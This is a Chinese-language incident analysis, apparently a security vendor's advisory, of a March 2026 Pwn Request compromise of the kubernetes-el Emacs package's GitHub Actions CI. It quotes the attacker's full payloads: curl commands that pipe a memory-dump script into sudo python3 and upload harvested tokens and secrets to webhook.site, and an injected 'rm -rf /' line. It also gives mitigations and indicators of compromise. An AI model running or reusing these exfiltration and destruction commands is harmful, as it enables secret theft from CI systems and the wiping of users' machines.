2026年3月5日,一个威胁行为者利用了 kubernetes-el/kubernetes-el(一个流行的用于管理 Kubernetes 集群的 Emacs 包)的 CI 工作流中一个经典的"Pwn Request"漏洞。攻击者窃取了仓库的 GITHUB_TOKEN(具有完全写入权限),窃取了 CI/CD 密钥,篡改了仓库,并注入了破坏性代码。
该包已从 MELPA(一个流行的第三方 Emacs 包仓库)中移除,并在 Emacsmirror 上被阻止更新,影响了依赖它进行 Emacs 内 Kubernetes 管理的用户。
事件经过
一个名为 quicktrinny 的 GitHub 账户在攻击前一天(2026年3月4日)创建,没有粉丝、没有简介、也没有任何先前活动,它 fork 了 kubernetes-el 仓库并打开了 PR #382,标题为"ci: add test",描述为"important test:)"。
该 PR 触发了仓库的 CI 工作流,该工作流使用了危险的 pull_request_target 触发器,并明确检出了攻击者的 fork 代码。这使攻击者能够在 GitHub Actions 运行器内获得任意代码执行权限,并对目标仓库拥有完全写入权限。
存在漏洞的工作流
该仓库的 CI 工作流(.github/workflows/ci.yaml)包含两个关键错误配置,它们共同构成了 Pwn Request 漏洞:
pull_request_target 触发器授予工作流目标仓库的 GITHUB_TOKEN 和密钥。通常这是安全的,因为工作流代码来自目标仓库的默认分支。但是 checkout 步骤中的显式 ref: ${{ github.event.pull_request.head.sha }} 覆盖了这一点——它改为从攻击者的 fork 获取代码。然后 make build 步骤执行攻击者在 Makefile 中放置的任何内容。
漏洞利用:逐步详解
攻击者在他们的 fork 中迭代了 6 次提交,在 3 次工作流运行中不断完善漏洞利用。有效载荷的演变展示了实时学习过程:
提交 1:劫持 Makefile
攻击者修改了 Makefile 中的 build 目标,使其执行 shell 脚本而不是正常的构建:
# Original: build : compile $(DEPS_PNG) # Attacker's version: build: @bash -c "chmod +x ./funny.sh && \ ./funny.sh"
提交 2:创建有效载荷(funny.sh)
初始有效载荷试图转储运行器的内存以提取 GITHUB_TOKEN,然后将其泄露到一个 webhook.site 端点:
# funny.sh (initial version) TOKEN_VAL=`curl -sSf https://gist.githubusercontent.com/nikitastupin/30e525b776c409e03c2d6f328f254965/raw/memdump.py \ | sudo python3 | tr -d '\0' | grep -aoE 'ghs_[0-9A-Za-z]{20,}' | sort -u | base64 | base64` curl -d "${TOKEN_VAL}" https://webhook.site/18c6f9e6-1dce-4b6a-975a-4f0fe0114f65 sleep 60m
提交 3:切换到不同的内存转储工具
攻击者从 GitHub Gist 托管的脚本切换到 Cacheract 内存转储工具(一个已知的 CI/CD 安全研究工具):
# Updated source URL curl -sSf https://raw.githubusercontent.com/AdnaneKhan/Cacheract/refs/heads/main/assets/memdump.py \ | sudo python3 | ...
提交 4:修复 Makefile 缩进
第一次工作流运行(run #22702057033)失败,因为 Makefile 使用了空格而不是制表符。攻击者修复了缩进:
# Spaces (broken): @bash -c "chmod +x ./funny.sh && \ ./funny.sh" # Tabs (fixed): @bash -c "chmod +x ./funny.sh && \ ./funny.sh"
提交 5 和 6:升级有效载荷——提取所有密钥
在修复制表符问题后,攻击者升级了他们的方法。他们不再只是提取 GITHUB_TOKEN,而是使用 JSON 模式匹配针对运行器内存中存储的所有密钥:
# Final payload (funny.sh) curl -sSf https://raw.githubusercontent.com/AdnaneKhan/Cacheract/b0d8565fa1ac52c28899c0cfc880d59943bc04ea/assets/memdump.py \ | sudo python3 | tr -d '\0' \ | grep -aoE '"[^"]+":\{"value":"[^"]*","isSecret":true\}' >> /tmp/secrets curl -X PUT --upload-file /tmp/secrets https://webhook.site/2a7334c9-64a7-48cf-8b22-409028d50d9d sleep 9999
这从运行器的进程内存中提取了任何匹配 {"value":"...","isSecret":true} 模式的密钥,包括 GITHUB_TOKEN。
成功运行的工作流日志证实了数据泄露。在 UTC 04:29,make build 步骤触发了有效载荷。日志中可见 350 字节上传 / 156 字节响应 的 curl 传输,随后是 webhook.site 的响应,确认上传成功。
⛔ curl https://webhook.site/2a7334c9-... → 已阻止
这就是 StepSecurity Harden-Runner 防止的事情
GitHub Actions 的实时网络出口监控。从该仓库泄露密钥的对 webhook.site 的调用会在任何数据离开运行器之前被检测到并阻止。
事后:仓库被篡改和销毁
攻击者使用窃取的 GITHUB_TOKEN 直接向 master 分支推送了 4 个恶意提交——无需拉取请求或审查:
929c639(UTC 04:30)——篡改Readme.md——用"HACKED BY DICK LONG"和一张图片替换了所有内容09e06af(UTC 04:32)——用rm -rf /替换了kubernetes.el(主包文件)——如果加载会摧毁用户系统b27498c(UTC 04:33)——重复破坏性提交c084b10(UTC 04:47)——删除了几乎所有仓库文件
关键: 第二个提交用一行代码 (shell-command-to-string "sudo rm -rf / || rm -rf / || sudo rm -rf / --no-preserve-root") 替换了 kubernetes.el——包的主入口点。在此次提交之后更新或安装该包的任何 Emacs 用户都会在他们的系统上执行这个破坏性命令。
这些提交的作者被标注为 github-actions[bot],因为窃取的 GITHUB_TOKEN 与该身份关联,使攻击看起来像是来自自动化过程。
攻击时间线
2026年3月4日
- 约 UTC 00:13 —— GitHub 账户
quicktrinny创建
2026年3月5日
- UTC 03:40 —— 攻击者在 fork 中修改 Makefile 以执行
funny.sh - UTC 03:41 —— 创建
funny.sh,包含内存转储和令牌泄露有效载荷 - UTC 03:47 —— 将内存转储源从 Gist 切换到 Cacheract
- UTC 03:49 —— 修复 Makefile 制表符(第一次尝试因空格问题失败)
- UTC 04:17 —— 打开 PR #382;第一次工作流运行失败(初始提交仍有制表符问题)
- UTC 04:26 —— 推送更新的有效载荷;第二次工作流运行成功——密钥被泄露
- UTC 04:28 —— 再次推送;第三次工作流运行成功——密钥再次被泄露
- UTC 04:30 —— 开始篡改:Readme.md 被替换为"HACKED BY DICK LONG"
- UTC 04:32 —— 注入破坏性有效载荷:
kubernetes.el被替换为rm -rf / - UTC 04:47 —— 大多数仓库文件被删除
- UTC 05:28 —— PR #382 关闭
2026年3月7日
如何保护您的工作流
1. 切勿在 pull_request_target 工作流中检出不受信任的代码
如果您的工作流使用 pull_request_target,请不要检出 PR head。如果您必须处理 PR 代码,请使用双工作流模式:一个 pull_request 工作流(具有只读权限)用于构建和测试,以及一个单独的 workflow_run 工作流用于特权操作。
# DANGEROUS - don't do this: on: pull_request_target steps: - uses: actions/checkout@v6 with: ref: ${{ github.event.pull_request.head.sha }} - run: make build # Runs attacker's code with write permissions # SAFE - use pull_request instead: on: pull_request # Read-only token, can't push to target repo steps: - uses: actions/checkout@v6 # Checks out PR code (safe, limited permissions) - run: make build
2. 限制 GITHUB_TOKEN 权限
在工作流级别设置最小权限。对于 CI/测试工作流,您几乎不需要写入权限:
permissions: contents: read # Read-only access to repo contents # Don't grant write to anything unless absolutely necessary
3. 监控 CI 运行器的网络出口
攻击将数据泄露到 webhook.site —— 一个永远不应该从 CI 构建中联系的域名。像 StepSecurity Harden-Runner 这样的网络监控工具可以检测并阻止来自 GitHub Actions 运行器的意外出站连接。
入侵指标
- 攻击者 GitHub 账户: quicktrinny(创建于 2026-03-04)
- 攻击者邮箱:
jump-kept-freckles@duck.com(DuckDuckGo 中继) - 恶意 PR: kubernetes-el/kubernetes-el#382
- 泄露端点 1:
webhook.site/18c6f9e6-1dce-4b6a-975a-4f0fe0114f65 - 泄露端点 2:
webhook.site/2a7334c9-64a7-48cf-8b22-409028d50d9d - 内存转储工具:
AdnaneKhan/Cacheractmemdump.py - 篡改提交:
929c639 - 破坏性提交:
09e06af - 漏洞利用工作流运行: #22702282382、#22702314529
致谢
此次妥协由 Emacsmirror 维护者 Jonas Bernoulli(tarsius)发现并报告。他立即从 MELPA 移除了该包,并在 Emacsmirror 上阻止了更新,防止了受感染代码进一步分发给 Emacs 用户。他的快速行动显著限制了此次攻击的影响范围。